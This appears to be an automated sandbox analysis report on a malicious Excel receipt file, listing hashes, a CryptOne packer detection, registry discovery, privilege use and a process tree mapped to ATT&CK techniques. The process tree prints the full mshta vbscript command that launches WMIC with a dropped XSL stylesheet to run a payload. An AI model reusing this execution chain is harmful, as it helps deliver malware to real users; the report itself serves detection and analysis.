e9157e32da346917b0092b432ede9945fa6d86ceccc07e0afa1e33826a3fecab

General

Target

Reciept 9133447.xlsb
Size

67KB
MD5

c44c8e5c2b7ed4b597557bf12cc279c4
SHA1

bf99994ffb3cd21635e1ef7f09e773e48068d3c1
SHA256

e9157e32da346917b0092b432ede9945fa6d86ceccc07e0afa1e33826a3fecab
SHA512

694058e46ac7b324e4df54e11ceba4ed92a40878f934f9369059905acc264d48c3ec888f52e7fb20e8931d62b0a22121efdf13167da8fe82b512d90ecdc77233

Score

9^/10

cryptone packer

Malware Config

Signatures

CryptOne packer 2 IoCs

Detects CryptOne packer defined in NCC blogpost.

cryptone packer

Processes:

resource	yara_rule
C:\Windows\Temp\98svw.exe	cryptone
C:\Windows\Temp\98svw.exe	cryptone

Blocklisted process makes network request 1 IoCs

Processes:

WMIC.exe

flow pid process

33 1704 WMIC.exe
Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

98svw.exe

pid process

2700 98svw.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

flow	pid	process
33	1704	WMIC.exe

pid	process
2700	98svw.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

4432 EXCEL.EXE

Suspicious use of AdjustPrivilegeToken 42 IoCs

Processes:

WMIC.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	1704	WMIC.exe
Token: SeSecurityPrivilege	1704	WMIC.exe
Token: SeTakeOwnershipPrivilege	1704	WMIC.exe
Token: SeLoadDriverPrivilege	1704	WMIC.exe
Token: SeSystemProfilePrivilege	1704	WMIC.exe
Token: SeSystemtimePrivilege	1704	WMIC.exe
Token: SeProfSingleProcessPrivilege	1704	WMIC.exe
Token: SeIncBasePriorityPrivilege	1704	WMIC.exe
Token: SeCreatePagefilePrivilege	1704	WMIC.exe
Token: SeBackupPrivilege	1704	WMIC.exe
Token: SeRestorePrivilege	1704	WMIC.exe
Token: SeShutdownPrivilege	1704	WMIC.exe
Token: SeDebugPrivilege	1704	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1704	WMIC.exe
Token: SeRemoteShutdownPrivilege	1704	WMIC.exe
Token: SeUndockPrivilege	1704	WMIC.exe
Token: SeManageVolumePrivilege	1704	WMIC.exe
Token: 33	1704	WMIC.exe
Token: 34	1704	WMIC.exe
Token: 35	1704	WMIC.exe
Token: 36	1704	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1704	WMIC.exe
Token: SeSecurityPrivilege	1704	WMIC.exe
Token: SeTakeOwnershipPrivilege	1704	WMIC.exe
Token: SeLoadDriverPrivilege	1704	WMIC.exe
Token: SeSystemProfilePrivilege	1704	WMIC.exe
Token: SeSystemtimePrivilege	1704	WMIC.exe
Token: SeProfSingleProcessPrivilege	1704	WMIC.exe
Token: SeIncBasePriorityPrivilege	1704	WMIC.exe
Token: SeCreatePagefilePrivilege	1704	WMIC.exe
Token: SeBackupPrivilege	1704	WMIC.exe
Token: SeRestorePrivilege	1704	WMIC.exe
Token: SeShutdownPrivilege	1704	WMIC.exe
Token: SeDebugPrivilege	1704	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1704	WMIC.exe
Token: SeRemoteShutdownPrivilege	1704	WMIC.exe
Token: SeUndockPrivilege	1704	WMIC.exe
Token: SeManageVolumePrivilege	1704	WMIC.exe
Token: 33	1704	WMIC.exe
Token: 34	1704	WMIC.exe
Token: 35	1704	WMIC.exe
Token: 36	1704	WMIC.exe

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	process
4432	EXCEL.EXE
4432	EXCEL.EXE
4432	EXCEL.EXE
4432	EXCEL.EXE
4432	EXCEL.EXE
4432	EXCEL.EXE
4432	EXCEL.EXE
4432	EXCEL.EXE
4432	EXCEL.EXE
4432	EXCEL.EXE
4432	EXCEL.EXE
4432	EXCEL.EXE

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

mshta.EXEWMIC.exe

description	pid	process	target process
PID 1428 wrote to memory of 1704	1428	mshta.EXE	WMIC.exe
PID 1428 wrote to memory of 1704	1428	mshta.EXE	WMIC.exe
PID 1704 wrote to memory of 2700	1704	WMIC.exe	98svw.exe
PID 1704 wrote to memory of 2700	1704	WMIC.exe	98svw.exe
PID 1704 wrote to memory of 2700	1704	WMIC.exe	98svw.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Reciept 9133447.xlsb"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4432

\??\c:\windows\system32\mshta.EXE
c:\windows\system32\mshta.EXE vbscript:Execute("set osh = CreateObject(""Wscript.Shell""):osh.Run(""wmic os get /format:"" & Chr(34) & osh.ExpandEnvironmentStrings(""C:\ProgramData"") & ""\\qDialogOptionsCalculation.xsl"" & Chr(34)),0:close")
1⤵
- Suspicious use of WriteProcessMemory
PID:1428

C:\Windows\System32\wbem\WMIC.exe
"C:\Windows\System32\wbem\WMIC.exe" os get /format:"C:\ProgramData\\qDialogOptionsCalculation.xsl"
2⤵
- Blocklisted process makes network request
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1704

C:\Windows\Temp\98svw.exe
"C:\Windows\Temp\98svw.exe"
3⤵
- Executes dropped EXE
PID:2700

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\ProgramData\qDialogOptionsCalculation.xsl
MD5
620bf55623214f88f930947072f5f85e

SHA1
e6d49a4bad59023d69653186a8193340d4b54adb

SHA256
144d5d7cc423e850a7ae9599fffeaed84e9ee5a882330f38a295381fe5263c7b

SHA512
87a8443c3477dcd3cc1a3ddfc1ce53031e1bcc82ee141946ef1da944c60207e22798efe625fef19cbd66a10f44972f3e2626166b9953f4b18608bbd3996e91e1

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C:\Windows\Temp\98svw.exe
MD5
9a2e1bb9ad6f1ccfeaa4c2c55637ae3b

SHA1
d42d55cab8637f847efdc1a01bcd5bb2d4668b7d

SHA256
b012145b80d5176d73ed67924be9b1290d7920f05bf436f37deca4799b6d88b6

SHA512
c8233171f957979936ea517dcabb3732e54b1cc19e89853d198b48c36f9609d2d8d0a0e75267a63162bd7d40371d22fbc62084441eaaec4d8670a5c2d985d1a6

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C:\Windows\Temp\98svw.exe
MD5
9a2e1bb9ad6f1ccfeaa4c2c55637ae3b

SHA1
d42d55cab8637f847efdc1a01bcd5bb2d4668b7d

SHA256
b012145b80d5176d73ed67924be9b1290d7920f05bf436f37deca4799b6d88b6

SHA512
c8233171f957979936ea517dcabb3732e54b1cc19e89853d198b48c36f9609d2d8d0a0e75267a63162bd7d40371d22fbc62084441eaaec4d8670a5c2d985d1a6

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memory/1704-179-0x0000000000000000-mapping.dmp

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memory/2700-181-0x0000000000000000-mapping.dmp

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memory/4432-118-0x00007FF9B4570000-0x00007FF9B4580000-memory.dmp

Filesize
64KB

Download
memory/4432-121-0x00007FF9D4FA0000-0x00007FF9D608E000-memory.dmp

Filesize
16.9MB

Download
memory/4432-123-0x00007FF9D30A0000-0x00007FF9D4F95000-memory.dmp

Filesize
31.0MB

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memory/4432-122-0x00007FF9B4570000-0x00007FF9B4580000-memory.dmp

Filesize
64KB

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memory/4432-117-0x00007FF9B4570000-0x00007FF9B4580000-memory.dmp

Filesize
64KB

Download
memory/4432-114-0x00007FF6FCF40000-0x00007FF7004F6000-memory.dmp

Filesize
53.7MB

Download
memory/4432-116-0x00007FF9B4570000-0x00007FF9B4580000-memory.dmp

Filesize
64KB

Download
memory/4432-115-0x00007FF9B4570000-0x00007FF9B4580000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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